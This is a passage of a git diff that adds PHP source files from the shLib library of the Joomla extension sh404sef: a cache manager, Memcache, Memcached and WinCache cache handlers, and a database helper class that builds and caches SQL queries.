a string id, unique for each site providing data to + * the same cache handler + * @return string previous value of the unique id + */ + public static function setUniqueId( $id) { + + $previous = self::$_uniqueId; + self::$_uniqueId = $id; + + return $previous; + } + + /** + * + * Return a unique id for this web site. If not + * previously set by user (through ::setUniqueId(), + * we use Joomla secret key + */ + public static function getUniqueId() { + + self::$_uniqueId = empty( self::$_uniqueId) ? JFactory::getConfig()->get('secret') : self::$_uniqueId; + + return self::$_uniqueId; + } + + /** + * + * Returns an object holding cache access stats (for the current page load!) + * + * @param string $dataset a group the data belongs to, mostly for stats accumulation + * @return stdClass + */ + public static function getCacheStats( $dataset) { + + $stats = new stdClass(); + $stats->read = empty(self::$_totalRequests[$dataset]) ? 0 : self::$_totalRequests[$dataset]; + $stats->hits = empty(self::$_cacheHits[$dataset]) ? 0 : self::$_cacheHits[$dataset]; + $stats->stored = empty(self::$_cacheStore[$dataset]) ? 0 : self::$_cacheStore[$dataset]; + $stats->removed = empty(self::$_cacheRemoved[$dataset]) ? 0 : self::$_cacheRemoved[$dataset]; + + return $stats; + } + + /** + * + * create a unique instance of a cache manager + * using specified handler + * @param string $handler code for cache handler to use + */ + private static function _getInstance( $handler = '') { + + // create a single manager instance + if(is_null(self::$_manager)) { + // instantiate a manager + $base = new ShlCache_Manager(); + + // get default handler, if none supplied + $handler = empty( $handler) ? self::CACHE_HANDLER_APC : $handler; + + // decorate manager with the proper handler + $className = 'ShlCache_' . ucfirst( $handler); + if(class_exists($className)) { + self::$_manager = new $className( $base); + } else { + throw new ShlException( __METHOD__ . ': trying to instantiate a non-existing cache handler: ' . $className); + } + + // ask handler to check setup is working, ie corresponding extension is loaded in php + self::$_params['timeout'] = isset(self::$_params['timeout']) ? self::$_params['timeout'] : self::$_defaultTTL; + self::$_manager->init(self::$_params); + } + + return self::$_manager; + } + + protected static function _computeCacheId( $baseString, $dataset) { + + return self::getUniqueId() . '-' . $dataset . '-' .hash( 'sha1', $baseString); + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php new file mode 100644 index 00000000..a4c2e7ff --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php @@ -0,0 +1,120 @@ +_instanceParams = $params; + + // maybe we're trying to call this a second time? + if( class_exists('Memcache') && $this->_server instanceof Memcache) { + return true; + } + + // first call, check setup and initialize server connection data + $this->enabled = extension_loaded('memcache'); + if(!$this->enabled) { + ShlSystem_Log::error( 'shlib', __METHOD__ . ': Memcache extension not loaded, unable to create cache manager using it'); + } + + // sort of validate params, using defaults if missing + if($this->enabled) { + $this->_instanceParams['host'] = empty($this->_instanceParams['host']) ? self::DEFAULT_HOST: $this->_instanceParams['host']; + $this->_instanceParams['port'] = empty($this->_instanceParams['port']) ? self::DEFAULT_PORT: $this->_instanceParams['port']; + $this->_instanceParams['persistent'] = empty($this->_instanceParams['persistent']) ? self::DEFAULT_PERSISTENT: $this->_instanceParams['persistent']; + $this->_instanceParams['weight'] = empty($this->_instanceParams['weight']) ? self::DEFAULT_WEIGHT: $this->_instanceParams['weight']; + $this->_instanceParams['timeout'] = empty($this->_instanceParams['timeout']) ? self::DEFAULT_TIMEOUT: $this->_instanceParams['timeout']; + $this->_instanceParams['retry_interval'] = empty($this->_instanceParams['retry_interval']) ? self::DEFAULT_RETRY_INTERVAL: $this->_instanceParams['retry_interval']; + $this->_instanceParams['enable_compression'] = empty($this->_instanceParams['enable_compression']) ? self::DEFAULT_COMPRESSION: $this->_instanceParams['enable_compression']; + + + // now establish connection + $this->_server = new Memcache; + @$this->_server->addServer( $this->_instanceParams['host'], $this->_instanceParams['port'], $this->_instanceParams['persistent'], $this->_instanceParams['weight'], $this->_instanceParams['timeout'], $this->_instanceParams['retry_interval']); + $this->enabled = 0 != @$this->_server->getServerStatus($this->_instanceParams['host'], $this->_instanceParams['port']); + if(!$this->enabled) { + ShlSystem_Log::error( 'shlib', __METHOD__ . ': Memcache server not responding at %s:%s', $this->_instanceParams['host'], $this->_instanceParams['port']); + } + } + + return true; + + } + + public function doRead( $id) { + + if($this->enabled) { + $read = @$this->_server->get( $id); + return $read; + } else { + throw new ShlException( __METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore( $id, $value, $ttl) { + + if($this->enabled) { + $stored = @$this->_server->set( $id, $value, $this->_instanceParams['enable_compression'], $ttl); + return $stored; + } else { + throw new ShlException( __METHOD__ . ': trying to write to a disabled cache'); + } + } + + public function doRemove( $id) { + + if($this->enabled) { + $removed = $this->_server->delete($id); + return $removed; + } else { + throw new ShlException( __METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear() { + + if($this->enabled) { + $cleared = $this->_server->flush(); + return $cleared; + } else { + throw new ShlException( __METHOD__ . ': trying to clear a disabled cache'); + } + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php new file mode 100644 index 00000000..10f6a1b2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php @@ -0,0 +1,163 @@ +_instanceParams = $params; + + // maybe we're trying to call this a second time? + if (class_exists('Memcache') && $this->_server instanceof Memcache) + { + return true; + } + + // first call, check setup and initialize server connection data + $this->enabled = extension_loaded('memcached'); + if (!$this->enabled) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': Memcached extension not loaded, unable to create cache manager using it'); + } + + // sort of validate params, using defaults if missing + if ($this->enabled) + { + $this->_instanceParams['host'] = empty($this->_instanceParams['host']) ? self::DEFAULT_HOST : $this->_instanceParams['host']; + $this->_instanceParams['port'] = empty($this->_instanceParams['port']) ? self::DEFAULT_PORT : $this->_instanceParams['port']; + $this->_instanceParams['weight'] = empty($this->_instanceParams['weight']) ? self::DEFAULT_WEIGHT : $this->_instanceParams['weight']; + $this->_instanceParams['persistent'] = empty($this->_instanceParams['persistent']) ? self::DEFAULT_PERSISTENT: $this->_instanceParams['persistent']; + + // now establish connection + $this->_connect($this->_instanceParams); + $this->enabled = Memcached::RES_SUCCESS == @$this->_server->getResultCode(); + if (!$this->enabled) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': Unable to add Memcache server %s:%s', $this->_instanceParams['host'], + $this->_instanceParams['port']); + } + } + } + + /** + * Connect to server, adding a new instance only if none is found + * @param unknown $params + * @return boolean + */ + protected function _connect($params) + { + // create a connection + $this->_server = $params['persistent'] ? new Memcached('__') : new Memcached(); + $servers = $this->_server->getServerList(); + if (is_array($servers)) + { + foreach ($servers as $server) + { + if ($server['host'] == $params['host'] and $server['port'] == $params['port']) + { + // already connected + return true; + } + } + } + return @$this->_server->addServer($params['host'], $params['port'], $params['weight']); + } + + public function doRead($id) + { + + if ($this->enabled) + { + $read = @$this->_server->get($id); + return $read; + } + else + { + throw new ShlException(__METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore($id, $value, $ttl) + { + + if ($this->enabled) + { + $stored = @$this->_server->set($id, $value, $ttl); + if ($stored === false) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': error storing memcached value %s - %s', @$this->_server->getResultCode(), + @$this->_server->getResultMessage()); + } + return $stored; + } + else + { + throw new ShlException(__METHOD__ . ': trying to write to a disabled cache'); + } + } + + public function doRemove($id) + { + + if ($this->enabled) + { + $removed = $this->_server->delete($id); + return $removed; + } + else + { + throw new ShlException(__METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear() + { + + if ($this->enabled) + { + $cleared = $this->_server->flush(); + return $cleared; + } + else + { + throw new ShlException(__METHOD__ . ': trying to clear a disabled cache'); + } + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php new file mode 100644 index 00000000..78fca9f7 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php @@ -0,0 +1,85 @@ +_instanceParams = $params; + $this->enabled = extension_loaded('wincache'); + if(!$this->enabled) { + ShlSystem_Log::error( 'shlib', __METHOD__ . ': WinCache extension not loaded, unable to create cache manager using it'); + } + + return true; + + } + + public function doRead( $id) { + + if($this->enabled) { + $read = wincache_ucache_get( $id); + return $read; + } else { + throw new ShlException( __METHOD__ . ': trying to read from a disabled cache'); + } + } + + public function doStore( $id, $value, $ttl) { + + if($this->enabled) { + $stored = wincache_ucache_set( $id, $value, $ttl); + return $stored; + } else { + throw new ShlException( __METHOD__ . ': trying to write to a disabled cache'); + } + + } + + public function doRemove( $id) { + + if($this->enabled) { + $removed = wincache_ucache_delete( $id); + return $removed; + } else { + throw new ShlException( __METHOD__ . ': trying to delete from a disabled cache'); + } + } + + public function doClear( $group = 'user') { + + if($this->enabled) { + $cleared = wincache_ucache_clear(); + return $cleared; + } else { + throw new ShlException( __METHOD__ . ': trying to clear a disabled cache'); + } + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php new file mode 100644 index 00000000..861043c9 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php @@ -0,0 +1,1105 @@ + ?' + * with + * $nameQuoted = array( 'id', '#__table', 'counter') + * $quoted = array( 'test') + * + * will return + * + * select `id` from `#__table` where `counter` <> 'test' + * + * + * @param string $query + * @param array $nameQuoted + * @param array $quoted + * @param string $namePlaceHolder + * @param string $dataPlaceHolder + */ + public function shlQuoteQuery($query, $nameQuoted = array(), $quoted = array(), $namePlaceHolder = '??', $dataPlaceHolder = '?') + { + + $newQuery = ''; + + // name quoting + if (!empty($nameQuoted)) + { + // find placeholders + $sqlBits = explode($namePlaceHolder, $query); + $i = 0; + // replace each place holder by the matching value + foreach ($nameQuoted as $data) + { + $newQuery .= $sqlBits[$i]; + $newQuery .= $this->quoteName($data); + $i += 1; + } + if (isset($sqlBits[$i])) + { + $newQuery .= $sqlBits[$i]; + } + } + + if (strpos($newQuery, $namePlaceHolder) !== false) + { + throw new ShlDbException(__METHOD__ . ': ' . 'Invalid db query sent to queryQuote helper: ' . $query . '. Maybe missing some data.'); + } + + // name quoting + if (!empty($quoted)) + { + // find placeholders + $sqlBits = explode($dataPlaceHolder, $newQuery); + $newQuery = ''; + $i = 0; + // replace each place holder by the matching value + foreach ($quoted as $data) + { + $newQuery .= $sqlBits[$i]; + $newQuery .= $this->_shlPrepareData($data); + $i += 1; + } + if (isset($sqlBits[$i])) + { + $newQuery .= $sqlBits[$i]; + } + } + + return $newQuery; + } + + /** + * Prepare and set a query against the db object + * + * @param String $table The table name + * @param Array $aData An array of field to be inserted in the db ('columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetInsertUpdateQuery($table, $aData, $mWhere = '', $aWhereData = array()) + { + + if ($this->shlIsRecord($table, $mWhere, $aWhereData)) + { + // update it + $this->shlSetUpdateQuery($table, $aData, $mWhere, $aWhereData); + } + else + { + // or insert it + $this->shlSetInsertQuery($table, $aData); + } + + return $this; + } + + /** + * Prepare and set a SELECT query against the db + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + */ + public function shlSetSelectQuery($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0) + { + + // sanitize + $aColList = empty($aColList) ? array('*') : $aColList; + $aColList = is_string($aColList) ? array($aColList) : $aColList; + + // which columns to fetch ? + $quotedColList = array(); + foreach ($aColList as $columnName) + { + $quotedColList[] = $columnName == '*' ? '*' : $this->quoteName($columnName); + } + $columns = implode(', ', $quotedColList); + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // order by clause + $orderByClause = $this->_shlBuildOrderByClause($orderBy); + + // lines limit clause + $limitClause = $this->_shlBuildLimitClause($offset, $lines); + + // set up the query + $this->setQuery('SELECT ' . $columns . ' FROM ' . $table . $where . $orderByClause . $limitClause . ';'); + + return $this; + } // end of setSelectQuery + + /** + * Prepare and set a select/count query against the db + * + * @param String $table The table name + * @param String $column an optional column to be counter + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetCountQuery($table, $column = '*', $mWhere = '', $aWhereData = array()) + { + + // sanitize + $column = empty($column) || $column == '*' ? '*' : $this->quoteName($column); + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // set up the query + $this->setQuery('SELECT count(' . $column . ') FROM ' . $table . $where . ';'); + + return $this; + } // end of setSelectQuery + + /** + * Prepare and set an UPDATE query against the db + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetUpdateQuery($table, $aData, $mWhere = '', $aWhereData = array()) + { + + // which columns to set ? + $set = ''; + if (!empty($aData)) + { + foreach ($aData as $columnName => $columnValue) + { + $set .= ', ' . $this->quoteName($columnName) . '=' . $this->_shlPrepareData($columnValue); + } + // remove leading ', ' + $set = substr($set, 2); + } + + // check result + if (empty($set)) + { + return false; + } + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // set up the query + $this->setQuery('UPDATE ' . $this->quoteName($table) . ' SET ' . $set . $where . ';'); + + return $this; + } + + /** + * Prepare and set an INSERT query against the db + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + */ + public function shlSetInsertQuery($table, $aData) + { + + // which columns to set ? + $columns = ''; + $values = ''; + if (!empty($aData)) + { + foreach ($aData as $columnName => $columnValue) + { + $columns .= ', ' . $this->quoteName($columnName); + $values .= ', ' . $this->_shlPrepareData($columnValue); + } + // remove leading ', ' + $columns = substr($columns, 2); + $values = substr($values, 2); + } + + // set up the query + $this->setQuery('INSERT INTO ' . $this->quoteName($table) . ' (' . $columns . ') VALUES (' . $values . ');'); + + return $this; + } + + /** + * Prepare and set a DELETE query against the db + * + * @param String $table The table name + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlSetDeleteQuery($table, $mWhere = '', $aWhereData = array()) + { + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + // set up the query + $this->setQuery('DELETE FROM ' . $this->quoteName($table) . $where . ';'); + + return $this; + } + + /** + * Returns true if a record exists matching 'where' condition + * + * @param String $table, the table to look into + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + public function shlIsRecord($table, $mWhere = '', $aWhereData = array()) + { + + // where to look for + $where = $this->_shlBuildWhereClause($mWhere, $aWhereData); + + if (empty($where)) + { + return false; + } + + // set up the query and load result + $this->setQuery('SELECT count(*) FROM ' . $this->quoteName($table) . $where . ';'); + $result = $this->shlLoadResult(); + + return !empty($result); + + } + + /** + * Returns true if a record exists with a given Id + * + * @param String $table, the table to look into + * @param Integer $id, the id to look for + * @param String $idName, default to 'id', the columns to look into, if not 'id' + */ + public function shlIsRecordById($table, $id, $idName = 'id') + { + + $id = (int) $id; + + if (empty($id)) + { + return false; + } + + // get db and look up record + $this->shlSetSelectQuery($table, array($idName), array($id)); + $result = $this->shlLoadResult(); + + return !empty($result); + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadResult() + { + + $this->_isShLibHelper = true; + $result = $this->loadResult(); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + $this->_isShLibHelper = false; + return $result; + } + + /** + * Wrapper around J! method, which + * throws exceptions + * @deprecated Use shlLoadColumn() instead + */ + public function shlLoadResultArray($numinarray = 0) + { + + ShlSystem_Log::debug('shlib', 'Using deprecated ShlDbClass::shlLoadResultArray() method. Use ShlDbClass::shlLoadColumn() instead'); + return $this->shlLoadColumn($numinarray); + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadColumn($offset = 0) + { + + $this->_isShLibHelper = true; + $array = $this->loadColumn($offset); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $array; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadAssoc() + { + + $this->_isShLibHelper = true; + $result = $this->loadAssoc(); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $result; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadAssocList($key = '') + { + + $this->_isShLibHelper = true; + $result = $this->loadAssocList($key); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + + return $result; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadObject($className = 'stdClass') + { + + $this->_isShLibHelper = true; + $object = $this->loadObject($className); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $object; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlLoadObjectList($key = '', $className = 'stdClass') + { + + $this->_isShLibHelper = true; + $objectList = $this->loadObjectList($key, $className); + $error = $this->getErrorNum(); + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $objectList; + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlQuery() + { + + return $this->shlExecute(); + + } + + /** + * Wrapper around J! method, which + * throws exceptions + */ + public function shlExecute() + { + + $this->_isShLibHelper = true; + $status = $this->execute(); + $error = empty($status) ? $this->getErrorNum() : ''; + if (!empty($error)) + { + throw new ShlDbException($this->getErrorMsg(), $error); + } + + $this->_isShLibHelper = false; + return $this; + } + + /** + * Base J! object overrides. These 3 methods are shortcuts + * implemented by Joomla! through a __call() magic method + * As we override Joomla! own __call() method + * we must re-implement those ourselves for B/C compat + * + */ + + public function q() + { + $args = func_get_args(); + return $this->quote($args[0], isset($args[1]) ? $args[1] : true); + } + + public function nq() + { + $args = func_get_args(); + return $this->quoteName($args[0]); + } + + public function qn() + { + $args = func_get_args(); + return $this->quoteName($args[0]); + } + + /** + * Base J! object overrides, to allow query caching + * + */ + + /** + * Method to get the first row of the result set from the database query as an associative array + * of ['field_name' => 'row_value']. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadAssoc() + { + + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadAssoc'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadAssoc(); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadAssoc'); + + return $read; + } + + /** + * Method to get an array of the result set rows from the database query where each row is an associative array + * of ['field_name' => 'row_value']. The array of rows can optionally be keyed by a field name, but defaults to + * a sequential numeric array. + * + * NOTE: Chosing to key the result array by a non-unique field name can result in unwanted + * behavior and should be avoided. + * + * @param string $key The name of a field on which to key the result array. + * @param string $column An optional column name. Instead of the whole row, only this column value will be in + * the result array. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadAssocList($key = null, $column = null) + { + + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadAssocList'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadAssocList($key, $column); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadAssocList'); + + return $read; + } + + /** + * Method to get an array of values from the $offset field in each row of the result set from + * the database query. + * + * @param integer $offset The row offset to use to build the result array. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadColumn($offset = 0) + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadColumn'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadColumn($offset); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadColumn'); + + return $read; + } + + /** + * Method to get the first row of the result set from the database query as an object. + * + * @param string $class The class name to use for the returned row object. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadObject($class = 'stdClass') + { + + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadObject'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadObject($class); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadObject'); + + return $read; + } + + /** + * Method to get an array of the result set rows from the database query where each row is an object. The array + * of objects can optionally be keyed by a field name, but defaults to a sequential numeric array. + * + * NOTE: Choosing to key the result array by a non-unique field name can result in unwanted + * behavior and should be avoided. + * + * @param string $key The name of a field on which to key the result array. + * @param string $class The class name to use for the returned row objects. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadObjectList($key = '', $class = 'stdClass') + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadObjectList'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadObjectList($key, $class); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadObjectList'); + + return $read; + } + + /** + * Method to get the first field of the first row of the result set from the database query. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadResult() + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadResult'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadResult(); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadResult'); + + return $read; + } + + /** + * Method to get the first row of the result set from the database query as an array. Columns are indexed + * numerically so the first column in the result set would be accessible via $row[0], etc. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadRow() + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadRow'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadRow(); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadRow'); + + return $read; + } + + /** + * Method to get an array of the result set rows from the database query where each row is an array. The array + * of objects can optionally be keyed by a field offset, but defaults to a sequential numeric array. + * + * NOTE: Choosing to key the result array by a non-unique field can result in unwanted + * behavior and should be avoided. + * + * @param string $key The name of a field on which to key the result array. + * + * @return mixed The return value or null if the query failed. + * + * @since 11.1 + * @throws JDatabaseException + */ + public function loadRowList($key = null) + { + // check cache + $cachedValue = $this->_shlQueryCacheRead('loadRowList'); + if ($cachedValue !== false) + { + return $cachedValue; + } + + // call decorated object + $read = $this->_decorated->loadRowList($key); + + // and store in cache + $this->_shlQueryCacheStore($read, 'loadRowList'); + + return $read; + } + + /** + * Workarounds: we have to implement those 2 proxies to cover for + * Joomla!'s implementation that uses reference for one of the + * method params. This is not compatible with our decorator + * technique, which uses __call() and call_user_func() + * that cannot handle references. + */ + public function updateObject($table, &$object, $key, $nulls = false) + { + return $this->_decorated->updateObject($table, $object, $key, $nulls); + } + public function insertObject($table, &$object, $key = null) + { + return $this->_decorated->insertObject($table, $object, $key); + } + + /** + * Prepare data to be inserted in an sql statement + * + * @param mixed $data + */ + protected function _shlPrepareData($data) + { + + // from Ron Baldwin + // Only quote string types + $type = gettype($data); + if ($type == 'string') + { + $ret = $this->quote($data); + } + else if ($type == 'double') + { + $ret = str_replace(',', '.', $data); // locales fix so 1.1 does not get converted to 1,1 + } + else if ($type == 'boolean') + { + $ret = $data ? '1' : '0'; + } + else if ($type == 'object') + { + if (method_exists($data, '__toString')) + { + $ret = $this->quote($data->__toString()); + } + else + { + $ret = $this->quote((string) $data); + } + } + else if ($data === null) + { + $ret = 'NULL'; + } + else + { + $ret = $data; + } + + return $ret; + } + + /** + * Build a where clause + * + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + */ + protected function _shlBuildWhereClause($mWhere = '', $aWhereData = array()) + { + + // where clause + if (is_string($mWhere)) + { + // litteral clause, find ? place holders + if (!is_array($aWhereData)) + $aWhereData = array($aWhereData); + $holderCount = substr_count($mWhere, '?'); + if ($holderCount = 0 || $holderCount != count($aWhereData)) + { + // there is no ? place holders, or their number does not match the data array passed + throw new ShlDbException( + __METHOD__ . ': ' . 'Internal error: trying to build invalid db query where clause [ ' . serialize($mWhere) . ' ] [ ' + . serialize($aWhereData) . ' ]', 500); + } + else + { + // we have ? placeholders and their number equals that of data passed + $where = ''; + + // find placeholders + $sqlBits = explode('?', $mWhere); + $i = 0; + // replace each place holder by the matching value + foreach ($aWhereData as $data) + { + $where .= $sqlBits[$i]; + $where .= $this->_shlPrepareData($data); + $i += 1; + } + if (isset($sqlBits[$i])) + { + $where .= $sqlBits[$i]; + } + } + } + elseif (is_array($mWhere)) + { + // an array of columns/values, we must turn into a where clause + $where = ''; + foreach ($mWhere as $columns => $value) + { + $where .= ' AND ' . $this->quoteName($columns) . '=' . $this->_shlPrepareData($value); + } + // remove initial AND + $where = substr($where, 5); + } + else + { + $where = ''; + } + + return empty($where) ? '' : ' WHERE ' . $where; + } + + /** + * Builds an ORDER BY sql statement + * + * $orderBy = 'title'; + * $orderBy = array( 'extension' => '', 'title' => 'desc'); + * $orderBy = array( 'extension', 'title'); + * + * @param String $orderBy name of unique column to sort with, direction is always ASC + * @param Array $orderBy a list of column names to order by, direction is always asc + * @param Array $orderBy a list of key => values, where key is a column name, and value is either '', 'asc' or 'desc' + */ + protected function _shlBuildOrderByClause($orderBy) + { + + if (empty($orderBy)) + { + return ''; + } + + $clause = ''; + + // 1: $orderBy is a string + if (is_string($orderBy)) + { + $clause = $this->quoteName($orderBy); + } + else if (is_array($orderBy)) + { + foreach ($orderBy as $key => $value) + { + if (is_int($key)) + { + // 2 : $orderBy is an array of strings + // use directly, always with no direction + $clause .= ', ' . $this->quoteName((string) $value); + } + else + { + // 3 : $orderBy is an array of column names with direction + $clause .= ', ' . $this->quoteName($key) . (empty($value) ? '' : $this->escape($value)); + } + } + $clause = empty($clause) ? '' : substr($clause, 2); + } + + // put everything together + $clause = empty($clause) ? '' : ' ORDER BY ' . $clause; + + return $clause; + } + + /** + * Builds a LIMIT sql statement + * + * @param Integer $offset, the line in result set to start with + * @param Integer $lines, the max number of lines in result set to return + */ + protected function _shlBuildLimitClause($offset, $lines) + { + + if (empty($offset) && empty($lines)) + { + return ''; + } + + $clause = ' LIMIT '; + if (!empty($offset)) + { + $clause .= $this->_shlPrepareData($offset); + } + if (!empty($lines)) + { + $clause .= (empty($offset) ? '' : ', ') . $this->_shlPrepareData($lines); + } + + return $clause; + } + + /** + * Store the result of a db query into the query cache + * (if such feature is present and enabled) + * + * @param mixed $value the value to be stored + * @param string $prefix a prefix string to identify db operation, on top of sql query + * @return boolean $stored true if successfully stored, false if not + * @throws ShlDbException in case of cache internal error. Cache will be disabled if this happens (for current db instance) + * + */ + protected function _shlQueryCacheStore($value, $prefix) + { + + $stored = false; + + if ($this->_shlCanCache()) + { + try + { + // cache id is made of db instance prepended with full sql query + $stored = ShlCache_Manager::store($this->instanceName . $prefix . $this->getQuery(), self::CACHE_STATS_DATASET_NAME, $value); + } + catch (Exception $e) + { + // there was an error: log that and disable cache for this instance + $this->queryCacheEnabled = false; + ShlSystem_Log::error('shlib', + __METHOD__ . ': error storing data in query cache for instance %s, disabling cache for this instance (%s)', $this->instanceName, + $e->getMessage()); + } + } + + return 